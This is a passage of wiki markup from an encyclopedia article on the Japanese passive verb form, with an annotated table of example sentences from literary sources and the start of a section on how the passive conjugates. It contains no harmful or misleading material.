Actual sentences may lack one of the said components (P, V or A) and therefore can become ambiguous (purely passive, adversatively passive or honorific) without additional context, for example {{#invoke:Nihongo|nihongo||結婚式に呼ばれる|kekkonshiki ni yobareru|{{gloss|one gets invited to weddings; one suffers because someone else's invited to weddings; those honoroble invite others to weddings}}}}.{{sfnp|Martin|2004|p=295}} Intransitive verbs, such as {{#invoke:Nihongo|nihongo||来られる|korareru}} and {{#invoke:Nihongo|nihongo||あられる|arareru}}, do not have the pure passive meaning, only the other two, as in {{#invoke:Nihongo|nihongo||VがAに来られる|V ga A ni korareru|{{gloss|V suffers because A comes}}}} and {{#invoke:Nihongo|nihongo||SがCであられる|S ga C de arareru|{{gloss|S is (honorably) C}}}}.{{sfnp|Martin|2004|pp=295, 341}}
Historically, the "passive" construction has also had '''potential''' use, but except for ''ichidan'' verbs and ''kuru'', this use now has a dialectal or old‑fashioned literary flavor.{{sfnp|Martin|2004|p=301}} It has been argued that the various meanings of the passive arose from the spontaneous potential (see [[#Potential]] for more), which spawned both the regular potential and the regular passive, the latter of which came to be used additionally for subject exaltation.{{sfnp|Komatsu|2001|p=68}} It has also been suggested that the pure passive came to be in its current state due to translations from the English passive.{{sfnp|Martin|2004|p=294}}
{| class="wikitable"
|+ style=text-align:left | Passive form example sentences
|-
! English
! Japanese
! Function
|-
| Tarō was beaten by his father.
| {{#invoke:Nihongo|nihongo||太郎は父親'''に殴られた'''。<ref name=tanaka-2024>{{#invoke:cite|journal|lang=ja|script-title=ja:〈働きかけ〉と〈変化〉の文法:日本語受身文の被害性は何に由来するか|title=Where does the adversativity of Japanese passives come from?|last=Tanaka|first=Taichi|script-journal=ja:東京大学言語学論集|journal=Tokyo University Linguistic Papers|volume=46|number=eTULIP|date=December 2024|page=e53|url=https://repository.dl.itc.u-tokyo.ac.jp/record/2010672/files/ggr_e046003.pdf|doi=10.15083/0002010672|issn=1345-8663|publisher=Department of Linguistics, Graduate School of Humanities and Sociology, Faculty of Letters, University of Tokyo}}</ref>|Tarō wa chichioya '''ni nagurareta'''.}}
| rowspan=3 | {{#invoke:nihongo|nihongo|pure passivity|中立受身|chūritsu ukemi|the subject is the patient}}
|-
| Today's America was made by immigrants.
| {{#invoke:Nihongo|nihongo||現在のアメリカは移民たちによって'''作られた'''|Genzai no Amerika wa imintachi ni yotte '''tsukurareta'''}}
|-
| In other words, Japanese perceptual psychologists have begun to write many papers in English, and they have been read by researchers all over the world.
| {{#invoke:Nihongo|nihongo||つまり,日本の知覚心理学者が英語で論文を多く書くようになり,その論文'''が'''世界中の研究者'''に読まれる'''ようになったということである。<ref>{{#invoke:cite|journal|lang=ja|pages=7–8|script-title=ja:知覚心理学は右肩下がりか,右肩上がりか 38 年間のトレンド|last=Morikawa|first=Kazunori|url=https://psych.or.jp/wp-content/uploads/2017/10/51-5.pdf|script-journal=ja:心理学ワールド|journal=Psychology World|publisher=Japanese Psychological Association|volume=51|date=October 2010}}</ref>|Tsumari, Nihon no chikaku shinrigakusha ga eigo de ronbun o ōku kaku yō ni nari, sono ronbun '''ga''' sekaijū no kenkyūsha '''ni yomareru''' yō ni natta to yū koto de aru.}}
|-
| Tarō's father died.{{efn|Tarō lived through his father's death.}}
| {{#invoke:Nihongo|nihongo||太郎は父親'''に死なれた'''。<ref name=tanaka-2024/>|Tarō wa chichioya '''ni shinareta'''.}}
| rowspan=5 | {{#invoke:nihongo|nihongo|adversative/affective passivity|被害・迷惑受身|higai/meiwaku ukemi|the subject is affected, often negatively, by the agent's action}}
|-
| My mother read my diary.{{efn|I was subject to the fact that my mother read my diary.}}
| {{#invoke:Nihongo|nihongo||日記'''を'''母親'''に読まれた'''|Nikki '''o''' hahaoya '''ni yomareta'''}}
|-
| The inspector dropped in on us without notice.{{efn|We were in trouble because the inspector dropped by without notice.}}
| {{#invoke:Nihongo|nihongo||何の沙汰も無く視学官'''に来られた'''|Nan no sata mo naku shigakukan '''ni korareta'''}}
|-
| Lilischur felt the chill as if she had been rained on, while Manfred felt like he was shaken in both mind and body.{{efn|She suffered as though she got caught in the rain, and he suffered as though his mind and body were shaken.}}
| {{#invoke:Nihongo|nihongo||リリーシュアは雨'''に降られた'''ような薄ら寒い気分だったが、マンフレートは心も身体も'''揺さぶられた'''ようで。<ref>{{#invoke:cite|book|lang=ja|url=https://cdn-file.alphapolis.co.jp/books/6572/0ea62211fbb4b495fb8dbb419d2c0c44/sample.pdf|page=38|script-chapter=ja:第二章|trans-chapter=Chapter 2|script-title=ja:虐げられた令嬢は、実は最強の聖女 もう愛してくれなくて構いません、私は隣国の民を癒します|trans-title=The Persecuted Young Lady Is Actually the Strongest Saint: I Don't Care If You Won't Love Me Anymore, I'll Heal the Folks from the Neighboring Country|last=Shinoda|first=Mikan|date=28 July 2020|publisher=AlphaPolis}}</ref>|Ririshua wa ame '''ni furareta''' yō na usurasamui kibun datta ga, Manfurēto wa kokoro mo karada mo '''yusaburareta''' yō de.}}
|-
| […] and each, in this contest, wishes to be conquered rather than conquer.{{efn|{{#invoke:nihongo|nihongo||勝たれたがる|Kataretagaru}} is here translated as "wishes to be conquered," but the original verb {{#invoke:nihongo|nihongo||勝つ|katsu|{{gloss|win}}}} is intransitive, so the pure passive does not apply. The context is clear that this passive is not "adversative," but desired.}}
| {{#invoke:Nihongo|nihongo||[…]さうして雙方ともその競技では、勝つよりも、'''勝たれたがる'''のである。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:いろんな活潑な會話が二人を逢初の昔に連れて行つた、それを思ひ出すことは、いつまでも二人の戀人の間の最も美しい會話の一つだつた。我我を戀の迷宮に踏み込ませる第一步は、また最初の希望は、人が特に好んで思ひ出すほど、快いものでもあれば、懷しいものでもある。雙方とも、自分の方がもつと前から、もつと一所懸命に愛してゐたのだといふ風に、相手より先に立たうとする、さうして雙方ともその競技では、勝つよりも、勝たれたがるのである。|trans-quote=Much lively talking led them back to the time when they first met, the recollection of which was always one of the most delightful topics between the two lovers. The first steps that bring us to the maze of love, the earliest hopes, are so pleasant and nostalgic that one would especially love to recollect them. Each party seeks to get the better of the other, as though they alone had fallen in love sooner and more devotedly, and each, in this contest, wishes to be conquered rather than conquer.|quote=Mancherlei lebhafte Geſpräche führten ſie auf die erſten Zeiten ihrer Bekanntſchaft, deren Erinnerung eine der ſchönſten Unterhaltungen zweier Liebenden bleibt. Die erſten Schritte, die uns in den Jrrgarten der Liebe bringen, ſind ſo angenehm, die erſten Auſſichten ſo reizend, daß man ſie gar zu gern in ſein Gedächtniß zurückruft. Jeder Theil ſucht einen Vorzug vor dem andern zu behalten, er habe früher, uneigennütziger geliebt, und jedes wünſcht in dieſem Wettſtreite lieber überwunden zu werden, als zu überwinden.|page=87|url=https://dl.ndl.go.jp/pid/1691688/1/48|script-chapter=ja:第一卷|chapter=Erſtes Buch|trans-chapter=First Book|script-title=ja:ヴィルヘルム・マイステルの徒弟時代|trans-title=[[Wilhelm Meister's Apprenticeship]]|title=Wilhelm Meiſters Lehrjahre|translator-last=Komiya|translator-first=Toyotaka|authorlink=Johann Wolfgang von Goethe|first=Johann Wolfgang|last=von Goethe|publisher=Iwanami Shoten|location=[[Chiyoda, Tokyo]]|volume=1|series={{#invoke:lang|lang|ja|岩波文庫}}|date=25 April 1953}}</ref>|[…] sō shite sōhō to mo sono kyōgi de wa, katsu yori mo, '''kataretagaru''' no de aru.}}
|-
| It was Mr Brown who came to see you.
| {{#invoke:Nihongo|nihongo||あなたに会いに'''来られた'''のはブラウンさんでした|Anata ni ai ni '''korareta''' no wa Buraun-san deshita}}
| rowspan=3 | {{#invoke:nihongo|nihongo|subject exaltation|尊敬|sonkei|the subject is the exalted agent}}
|-
| What school did you go to?
| {{#invoke:Nihongo|nihongo||学校はどちらへ'''行かれました'''か|Gakkō wa dochira e '''ikaremashita''' ka}}
|-
| When holy Harry died, and my sweet son.
| {{#invoke:Nihongo|nihongo||あった、あの神聖なヘンリーどの'''が死なれた'''時に、おれの大切の子の、あの可愛いエドワードが死んだ時に!<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''マーガ''' (蔭にて)あった、あの神聖なヘンリーどのが死なれた時に、おれの大切の子の、あの可愛いエドワードが死んだ時に!|quote='''Q. Mar.''' [Aside.] When holy Harry died, and my sweet son.|url=https://dl.ndl.go.jp/pid/1664873/1/97|page=183|script-chapter=ja:第四場 王宮の前。(或ひは丘上。)|chapter=Scene IV. Before the palace.|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|title=Life and Death of King Richard III|script-title=ja:リチャード三世|trans-title=[[Richard III (play)|Richard III]]|publisher=Shinjusha|authorlink=William Shakespeare|first=William|last=Shakespeare|date=15 September 1958|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|location=[[Bunkyō]], Tokyo}}</ref>|Atta, ano shinsei na Henrī-dono '''ga shinareta''' toki ni, ore no taisetsu no ko no, ano kawaii Edowādo ga shinda toki ni!}}
|-
| No, this man could not toil, he could never exert himself, I thought with resignation.
| {{#invoke:Nihongo|nihongo||いや、此男'''に'''は'''勉められない'''、'''奮發せられない'''、と斷念しました。<ref name=futabatei-1896-serareru/>|Iya, kono otoko '''ni''' wa '''tsutomerarenai''', '''funpatsu serarenai''', to akiramemashita.}}
| rowspan=6 | {{#invoke:nihongo|nihongo|[[#Potential|potentiality]]|可能|kanō}}
|-
| This place called Sumita was a hot‑spring town, about ten minutes by train away from the castle town, or you could walk for thirty minutes,
| {{#invoke:Nihongo|nihongo||此住田と云ふ所は溫泉のある町で、城下から汽車だと十分許り、步行いて三十分で'''行かれる'''、<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>夫<rp>(</rp><rt>それ</rt><rp>)</rp></ruby>から<ruby>三<rp>(</rp><rt>みつ</rt><rp>)</rp></ruby><ruby>日<rp>(</rp><rt>か</rt><rp>)</rp></ruby><ruby>許<rp>(</rp><rt>ばか</rt><rp>)</rp></ruby>りは<ruby>無<rp>(</rp><rt>ぶ</rt><rp>)</rp></ruby><ruby>事<rp>(</rp><rt>じ</rt><rp>)</rp></ruby>であつたが、<ruby>四<rp>(</rp><rt>よつ</rt><rp>)</rp></ruby><ruby>日<rp>(</rp><rt>か</rt><rp>)</rp></ruby><ruby>目<rp>(</rp><rt>め</rt><rp>)</rp></ruby>の<ruby>晚<rp>(</rp><rt>ばん</rt><rp>)</rp></ruby>に<ruby>住<rp>(</rp><rt>すみ</rt><rp>)</rp></ruby><ruby>田<rp>(</rp><rt>た</rt><rp>)</rp></ruby>と<ruby>云<rp>(</rp><rt>い</rt><rp>)</rp></ruby>ふ<ruby>所<rp>(</rp><rt>ところ</rt><rp>)</rp></ruby>へ<ruby>行<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つて<ruby>團<rp>(</rp><rt>だん</rt><rp>)</rp></ruby><ruby>子<rp>(</rp><rt>ご</rt><rp>)</rp></ruby>を<ruby>食<rp>(</rp><rt>く</rt><rp>)</rp></ruby>つた。<ruby>此<rp>(</rp><rt>この</rt><rp>)</rp></ruby><ruby>住<rp>(</rp><rt>すみ</rt><rp>)</rp></ruby><ruby>田<rp>(</rp><rt>た</rt><rp>)</rp></ruby>と<ruby>云<rp>(</rp><rt>い</rt><rp>)</rp></ruby>ふ<ruby>所<rp>(</rp><rt>ところ</rt><rp>)</rp></ruby>は<ruby>溫<rp>(</rp><rt>をん</rt><rp>)</rp></ruby><ruby>泉<rp>(</rp><rt>せん</rt><rp>)</rp></ruby>のある<ruby>町<rp>(</rp><rt>まち</rt><rp>)</rp></ruby>で、<ruby>城<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby><ruby>下<rp>(</rp><rt>か</rt><rp>)</rp></ruby>から<ruby>汽<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>車<rp>(</rp><rt>しや</rt><rp>)</rp></ruby>だと十<ruby>分<rp>(</rp><rt>ぷん</rt><rp>)</rp></ruby><ruby>許<rp>(</rp><rt>ばか</rt><rp>)</rp></ruby>り、<ruby>步行<rp>(</rp><rt>ある</rt><rp>)</rp></ruby>いて三十<ruby>分<rp>(</rp><rt>ぷん</rt><rp>)</rp></ruby>で<ruby>行<rp>(</rp><rt>ゆ</rt><rp>)</rp></ruby>かれる、<ruby>料<rp>(</rp><rt>れう</rt><rp>)</rp></ruby><ruby>理<rp>(</rp><rt>り</rt><rp>)</rp></ruby><ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby>も<ruby>溫<rp>(</rp><rt>をん</rt><rp>)</rp></ruby><ruby>泉<rp>(</rp><rt>せん</rt><rp>)</rp></ruby><ruby>宿<rp>(</rp><rt>やど</rt><rp>)</rp></ruby>も、<ruby>公<rp>(</rp><rt>こう</rt><rp>)</rp></ruby><ruby>園<rp>(</rp><rt>ゑん</rt><rp>)</rp></ruby>もある<ruby>上<rp>(</rp><rt>うへ</rt><rp>)</rp></ruby>に<ruby>遊<rp>(</rp><rt>いう</rt><rp>)</rp></ruby><ruby>廓<rp>(</rp><rt>くわく</rt><rp>)</rp></ruby>がある。|trans-quote=It was nice and quiet for about three days, but in the evening of the fourth day I went to a place called Sumita and ate some dumplings. This place called Sumita was a hot-spring town, about ten minutes by train away from the castle town, or you could walk for thirty minutes, and along with restaurants, hot-spring inns, even a park, there was a red-light district.|page=32|url=https://dl.ndl.go.jp/pid/1884801/1/18|script-chapter=ja:三|trans-chapter=3|script-title=ja:坊つちやん|trans-title=[[Botchan]]|authorlink=Natsume Sōseki|last=Natsume|first=Sōseki|publisher=Iwanami Shoten|series={{#invoke:lang|lang|ja|岩波文庫}}|date=1 November 1939|edition=18th|orig-date=5 July 1929|volume=537|location=[[Kanda, Tokyo]]}}</ref>|Kono Sumita to yū tokoro wa onsen no aru machi de, jōka kara kisha da to jippun bakari, aruite sanjippun de '''yukareru''',}}
|-
| "[…] There the Blessed One may both drink water and cool his limbs."
| {{#invoke:Nihongo|nihongo||――「[…]其處で世尊は水も'''飮まれませう'''し手足も'''冷されませう'''。」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:彼がかく云つた時、阿難尊者は世尊に云つた。<br>――「主よ、けれども丁度今、五百の車が流を過ぎつて水を攪き廻はしてしまひました。ですけれど、主よ、河は程遠からぬところにあります。その水は淸く爽かで、冷たく透明です、そしてそこに下りて行くのもたやすいのです。其處で世尊は水も飮まれませうし手足も冷されませう。」|quote=When he had thus spoken, the venerable Ānanda said to the Blessed One: "But just now, Lord, five hundred carts have gone across the brook and have stirred the water; but a river, O Lord, is not far off. Its water is clear and pleasant, cool and transparent, and it is easy to get down to it. There the Blessed One may both drink water and cool his limbs."|page=274|url=https://dl.ndl.go.jp/pid/963161/1/157|authorlink=Paul Carus|first=Paul|last=Carus|script-chapter=ja:第九十五 鍛冶匠、<ruby>淳<rp>(</rp><rt>チユ</rt><rp>)</rp></ruby><ruby>陀<rp>(</rp><rt>ンダ</rt><rp>)</rp></ruby>|chapter=XCV. [[Chunda]], the Smith.|script-title=ja:佛陀の福音|title=The Gospel of Buddha|publisher=Shimeisha|date=1 February 1920|translator-last=Yahata|translator-first=Sekitarō|location=[[Kanda, Tokyo]]}}</ref>|――"[…] Soko de Seson wa mizu mo '''nomaremashō''' shi teashi mo '''hiyasaremashō'''."}}
|-
| for the unhappiest man was he who could not die, and happy he who could.
| {{#invoke:Nihongo|nihongo||なぜかと言へば、死ねない者は最大不幸者で、'''死なれる'''者は幸福者であるからだ。<ref name=miyahara-1956-shinareru>{{#invoke:cite|book|lang=ja|script-quote=ja:眞個、若しも世に死ぬことの出來ない人間があるものなら、かの傳說にある、永久にさ迷ふユダヤ人なるものが、見出されるものとすれば、我々は彼をこそ最大不幸の人として考へずには居られない。そこで墓が空虛であつた理由が明かになる。卽ち、死ぬことの出來ない人、墓に寢てゐることの出來ない人、<sup>[''[[sic]]'']</sup>墓に寢てゐることの出來ない人は最大不幸の人であるから。で、話は解決がついて、答へは容易になつた。なぜかと言へば、死ねない者は最大不幸者で、死なれる者は幸福者であるからだ。老齡に達して死ぬる者は幸福であるが、年若くして死ぬるものは、より幸福である。更に又生れるや否や死ぬるものは最大幸福者である。然し、此の上無しの大幸福者は生れなかつた者である。尤も、世の中はそんな風にはなつてゐない。死は萬人共通の幸福である。だから死ぬべき人間のうちに、最大不幸者を搜すことになるのだから、なか〱見付からない筈である。|quote=Ja hvis der var et Menneſke, der ikke kunde døe, hvis det er ſandt, hvad Sagnet fortæller om hiin evige Jøde, hvorledes ſkulde vi tage i Betænkning at erklære ham for den Ulykkeligſte? Da lod det ſig forklare, hvorfor Graven var tom, for at betegne, at den Ulykkeligſte var Den, der ikke kunde døe, der ikke kunde ſlippe ned i en Grav. Da var Sagen afgjort, Svaret let: thi ulykkeligſt var Den, der ikke kunde døe, lykkelig Den, der kunde det; lykkelig Den, der døde i ſin Alderdom, lykkeligere Den, der døde i ſin Ungdom, lykkeligſt Den, der døde idet han blev født, allerlykkeligſt Den, der aldrig var født. Men ſaaledes er det ikke, Døden er den fælles Lykke for alle Menneſke, og forſaavidt ſom derfor den Ulykkeligſte ikke er funden, da maa han være at ſøge indenfor denne Begrændsning.|trans-quote=If indeed there were a man who could not die, if the legend of the eternally wandering Jew be found to be true, we cannot help but conceive of him as the unhappiest man. Then the reason why the tomb was empty becomes clear. To wit, he who could not die, could not lie in a grave, was the unhappiest man. Thus, the case would be settled, the answer simple, for the unhappiest man was he who could not die, and happy he who could. Happy was he who died in his old age, happier he who died in his youth. Happiest was he who died as soon as he was born, and happiest of all he who never was born. But that is not the case in life. Death is the common happiness of all men, and insofar as the unhappiest man is to be sought among men bound to die, he must be found with difficulty.|pages=66–67|url=https://dl.ndl.go.jp/pid/2970168/1/45|chapter=Den Ulykkeligſte. En begeiſtret Tiltale til ''ΣΥΜΠΑΡΑΝΕΚΡΩΜΕΝΟΙ''. Peroration i Fredagsmøderne.|script-chapter=ja:'''最大不幸者''' (亡者仲間を激勵す) 金曜日會席上演說|trans-chapter='''The Uhappiest Man''' (An Enthused Address to the Fellowship of the Dead) Peroration at Friday's Meeting|script-title=ja:憂愁の哲理|trans-title=[[Either/Or (Kierkegaard book)|The Philosophy of Sorrow]]|title=Enten — Eller. Et Livs-Fragment|authorlink=Søren Kierkegaard|first=Søren Aabye|last=Kierkegaard|translator-first=Kōichirō|translator-last=Miyahara|publisher=Shunjusha|date=30 April 1957|edition=2nd|orig-date=12 July 1956|location=[[Chiyoda, Tokyo]]}}</ref>|Naze ka to ieba, shinenai mono wa saidai fukōmono de, '''shinareru''' mono wa kōfukumono de aru kara da.}}
|-
| However, as the old saying goes, "You can't win against a crybaby or an [[Jitō|estate steward]]," even if the government does such a thing in Japan, those calling themselves civil servants cannot do anything about it.{{efn|The saying is now more commonly known, with the short [[#Potential|potential]], as {{#invoke:nihongo|nihongo||泣く子と地頭には'''勝てぬ'''|Naku ko to jitō ni wa '''katenu'''}}.<ref>{{#invoke:cite|web|lang=ja|script-title=ja:泣子と地頭には勝たれぬ|script-work=ja:コトバンク|url=https://kotobank.jp/word/%E6%B3%A3%E5%AD%90%E3%81%A8%E5%9C%B0%E9%A0%AD%E3%81%AB%E3%81%AF%E5%8B%9D%E3%81%9F%E3%82%8C%E3%81%AC-2069395}}</ref><ref>{{#invoke:cite|web|lang=ja|script-title=ja:泣く子と地頭には勝てぬ|script-work=ja:コトバンク|url=https://kotobank.jp/word/%E6%B3%A3%E3%81%8F%E5%AD%90%E3%81%A8%E5%9C%B0%E9%A0%AD%E3%81%AB%E3%81%AF%E5%8B%9D%E3%81%A6%E3%81%AC-588398}}</ref> It means that it is impossible to reason with people who will not listen, whether that be a tantrum-throwing child or a tyrannical authority.}}
| {{#invoke:Nihongo|nihongo||併し、泣く子と地頭には'''勝たれぬ'''と昔から云ふて居る通り、日本では、政府がさう云ふことをしても、官吏たるものは何とも仕方がない。<ref>{{#invoke:cite|book|lang=ja|url=https://dl.ndl.go.jp/pid/1064330/1/190|p=342|script-contribution=ja:ローベルト・コッホ先生と北里柴三郞博士<!--Faulty template. Looks like it requires specifically 'contribution' but misses out on 'script-contribution'. Better fix the template than alter content here-->|trans-contribution=[[Medical doctor|Dr]] [[Robert Koch]] and [[Doctor (title)|Dr]] [[Kitasato Shibasaburō]]|script-title=ja:ローベルト・コッホ 偉大なる生涯の物語|trans-title=Robert Koch: Story of a Great Life|title=Robert Koch. Roman eines großen Lebens|first=Friedrich Hermann Hellmuth|last=Unger|contributor-first=Mikinosuke|contributor-last=Miyajima|contributor-first2=Renji|contributor-last2=Ishikawa|publisher=Fuzambo|date=8 June 1943|location=[[Kanda, Tokyo]]}}</ref>|Shika shi, naku ko to jitō ni wa '''katarenu''' to mukashi kara yūte oru tōri, Nihon de wa, seifu ga sō yū koto o shite mo, kanri taru mono wa nani to mo shikata ga nai.}}
|-
| Next to this woman whom I had left barely a moment ago, the rest of humanity looked very far‑off. […] The doorknob of my room differed from all other doorknobs in the world in that, without my needing to turn it, the door opens all by itself. Manually turning it was so unconscious that it seemed that way. […] My grandmother thought it was very important to not look like we served it only when there were guests, as she held that that was a kind thing to do.{{efn|{{#invoke:nihongo|nihongo||思われる|Omowareru}} is the passive potential of {{#invoke:nihongo|nihongo||思う|omou|{{gloss|think}}}}. Its short potential counterpart is {{#invoke:nihongo|nihongo||思える|omoeru}}. Apart from passive and honorific meanings, it often has a "spontaneous potential" meaning (see [[#Potential]] for more), which means that rather than "I can think," it suggests "it occurs to me without my intention." The spontaneous potential meaning of ''omowareru'' is common enough to merit separate entries in bilingual dictionaries, which translate it as "it seems/appears," along with ''omoeru''.<ref name=kenkyusha/>}}
| {{#invoke:Nihongo|nihongo||ついいましがた別れたばかりのその女に比べれば、ほかの人間などはるかに遠い存在のように'''思われた'''。[…]私の部屋のあのドアノブは世界中のどんなドアノブとも違って、わざわざ回さなくてもドアがひとりでに開く。そう'''思われる'''ほど、ノブを手で回す動作が無意識のうちになされていた。[…]祖母は来客のときだけ特別にシロップを出すと'''思われない'''ようにすることがすこぶる大事だと思っていたし、そのほうが親切だと考えていた。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ついいましがた別れたばかりのその女に比べれば、ほかの人間などはるかに遠い存在のように思われた。私の頰は女の口づけでいまだほてっていたし、体は女の胴体の重みでぐったりしていた。[…]私の部屋のあのドアノブは世界中のどんなドアノブとも違って、わざわざ回さなくてもドアがひとりでに開く。そう思われるほど、ノブを手で回す動作が無意識のうちになされていた。そのドアノブがいまや、ゴロの<ruby>星気体<rp>(</rp><rt>コール・アストラル</rt><rp>)</rp></ruby>の一部になっているのだ。[…]実際、声でしか認識できない。蚊が寄ってこないようにできるかぎり庭の明かりを落としてあるせいで、<ruby>鷲<rp>(</rp><rt>わし</rt><rp>)</rp></ruby><ruby>鼻<rp>(</rp><rt>ばな</rt><rp>)</rp></ruby>、緑の目、ブレサン風に短く刈ったほとんど赤毛に近い金髪に縁どられた秀でた額といった顔の特徴までははっきりわからないからである。私はさりげなく席を立って台所へゆき、シロップをもってくるように頼む。祖母は来客のときだけ特別にシロップを出すと思われないようにすることがすこぶる大事だと思っていたし、そのほうが親切だと考えていた。|trans-quote=Next to this woman whom I had left barely a moment ago, the rest of humanity looked very far-off. My cheek was still warm from her kiss, my body ached by the weight of her waist. […] The doorknob of my room differed from all other doorknobs in the world in that, without my needing to turn it, the door opens all by itself. Manually turning it was so unconscious that it seemed that way. And now, the doorknob had turned into a corps astral for Golo. […] Indeed, one could tell him by nothing but his voice. Since we dimmed the light in the garden as much as possible to not attract mosquitoes, one would not make out his face with a hooked nose, green eyes, a high forehead fringed with blond, almost red hair coiffed in the Bressant style. I casually got up and went to the kitchen to ask that the syrup be brought out. My grandmother thought it was very important to not look like we served it only when there were guests, as she hold that that was a kind thing to do.|quote=Le reste des humains m'apparaissait comme bien lointain auprès de cette femme que j'avais quittée, il y avait quelques moments à peine ; ma joue était chaude encore de son baiser, mon corps courbaturé par le poids de sa taille. […] Ce bouton de la porte de ma chambre, qui différait pour moi de tous les autres boutons de porte du monde en ceci qu'il semblait ouvrir tout seul, sans que j'eusse besoin de le tourner, tant le maniement m'en était devenu inconscient, le voilà qui servait maintenant de corps astral à Golo. […] On ne le reconnaissait en effet qu'à la voix, on distinguait mal son visage au nez busqué, aux yeux verts, sous un haut front entouré de cheveux blonds presque roux, coiffés à la Bressant, parce que nous gardions le moins de lumière possible au jardin pour ne pas attirer les moustiques et j'allais, sans en avoir l'air, dire qu'on apportât les sirops ; ma grand'mère attachait beaucoup d'importance, trouvant cela plus aimable, à ce qu'ils n'eussent pas l'air de figurer d'une façon exceptionnelle, et pour les visites seulement.|script-chapter=ja:コンブレー|chapter=Combray|script-title=ja:失われた時を求めて 第一篇「スワン家のほうへⅠ」|title=À la recherche du temps perdu. Tome 1 : Du côté de chez Swann|trans-title=[[In Search of Lost Time]]. Book 1: "Swann's Way" I|volume=1|translator-first=Hiromi|translator-last=Takatō|date=30 April 2013|series=kobunsha classics|publisher=Kobunsha|authorlink=Marcel Proust|first=Valentin Louis Georges Eugène Marcel|last=Proust}}</ref>|Tsui imashigata wakareta bakari no sono onna ni kurabereba, hoka no ningen nado haruka ni tōi sonzai no yō ni '''omowareta'''. […] Watashi no heya no ano doanobu wa sekaijū no donna doanobu to mo chigatte, wazawaza mawasanakute mo doa ga hitori de ni aku. Sō '''omowareru''' hodo, nobu o te de mawasu dōsa ga muishiki no uchi ni nasarete ita. […] Sobo wa raikyaku no toki dake tokubetsu ni shiroppu o dasu to '''omowarenai''' yō ni suru koto ga sukoburu daiji da to omotte ita shi, sono hō ga shinsetsu da to kangaete ita.}}
|}
=== Passive: Conjugation table ===
The passive form is created by using the [[Japanese conjugation#mizenkei|mizenkei base]], followed by the {{#invoke:nihongo|nihongo||れる・られる|reru/rareru}} suffix. For ''ichidan'' verbs and {{#invoke:nihongo|nihongo||来る|kuru}}, the passive form and the [[#Potential|potential form]] have an identical conjugation pattern with the same {{#invoke:nihongo|nihongo||られる|rareru}} suffix. This makes it impossible to distinguish whether an ''ichidan'' verb adopts a passive or potential function without [[Context (language use)|contextual information]].
''Arareru'' is historically attested with [[#Potential|potential]] uses,{{sfnp|Martin|2004|p=290}} but it is now primarily the more honorific way of saying {{#invoke:nihongo|nihongo||ある|aru}} and {{#invoke:nihongo|nihongo||いる|iru}}.<ref>{{#invoke:cite|web|url=https://kotobank.jp/word/%E6%9C%89%E3%82%8C%E3%82%8B-2004125|lang=ja|script-title=ja:有れる|script-website=ja:コトバンク}}</ref><ref>{{#invoke:cite|journal|url=https://trijapan.com/data/upload/(1)%EA%B9%80%EB%AF%B8%EC%A0%95_1560077705.pdf|lang=ja|script-title=ja:「あられる」という敬語形式について - 国会会議録を資料として -|title=A Study on the Honorific Form ARARERU – Based on the Minutes of the National Diet of Japan -|publisher={{#invoke:lang|lang|ko|일본어문학회}}|last=Kim|first=Mijeong|script-journal=ko:일본어문학|year=2019|number=84}}</ref>
Honorific verbs can be made even more polite, as in {{#invoke:nihongo|nihongo||いらっしゃられる|irassharareru}},<ref>{{#invoke:cite|news|lang=ja|script-quote=ja:総じて一般の会社などでは,年寄ほどこの手の機械をいじる気力がないそうですが,宇宙研の先生方にはそんな方は一人もおありになるわけがありませんから,皆さまいつまでもお若くいらっしゃられます。|script-title=ja:ワープロ事始め|last=Sono|first=Ayako|publisher=Institute of Space and Astronautical Science|number=28 |date=July 1983|script-work=ja:ISASニュース|url=https://www.isas.jaxa.jp/j/isasnews/backnumber/1983/ISASnews028.pdf}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:アメリカ以外の国は、なぜそのソフトウェアをいわゆるパブリックドメインに置いておかなければいけないのだというのを不思議だなと思われる方がいらっしゃられるかと思います。|pages=4–15|script-title=ja:4 HECソフトウェアの開発及び維持管理体制に関する講演録|script-journal=ja:国土技術政策総合研究所資料|journal=TECHNICAL NOTE of National Institute for Land and Infrastructure Management|publisher=National Institute for Land and Infrastructure Management|number=410 |date=July 2007|url=https://dl.ndl.go.jp/pid/10166318/1/1}}</ref><ref name=secretariat-2011>{{citation|url=https://dl.ndl.go.jp/pid/6011099/1/1|lang=ja|script-quote=ja:0.496μSvおっしゃられました。[…]先ほどのご質問された方ちょっといらっしゃられませんが、[…]今後の事故調査というふうにおっしゃられましたけれども、[…]一般的に湧き出しと今おっしゃられたような形で、[…]先ほど聞き間違えでなければこの三人目のお亡くなりになられた方の死亡診断書をごらんになったとおっしゃられましたが、[…]先ほどの質疑の中で何か法令違反であれば行政解剖をしなければいけないとおっしゃられておりましたが、[…]そのために健康管理をきっちりするべきだとおっしゃられましたが、|script-title=ja:政府・東京電力統合対策室合同記者会見|date=13 October 2011|publisher=[[Cabinet Secretariat (Japan)|Cabinet Secretariat]]}}</ref> {{#invoke:nihongo|nihongo||仰られる|ossharareru}}, etc.<ref name=secretariat-2011 /><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:2 点目は、フリードマン先生がおっしゃられたサイバー防御に関することです|page=26 |script-chapter=ja:パネリスト報告(1) ロシア・ウクライナ戦争と現代戦—米国ファクターの検討—|last=Mori|first=Satoru|date=July 2024|script-title=ja:ロシアによるウクライナ侵略をめぐる諸問題|publisher=National Diet Library|url=https://dl.ndl.go.jp/pid/13725570/1/1}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-title=ja:座談会 ソフトウェア特許と越境侵害 -「コメント配信システム事件」を題材として-|script-quote=ja:田村さんは、発明の効果の発現地に着目されるので、本件判決は国内と評価するのが比較的容易な事案だったとおっしゃられておりますけれども、私は、配信型のクライアントサーバシステムの生産に係る本件判決は、ギリギリの事案におけるギリギリの判断だったと考えています。[…]おっしゃられる趣旨は、本件判決の場合、このような構成の間接侵害と理解すればよろしいですか。|pages=49–54|journal=SOFTIC Law 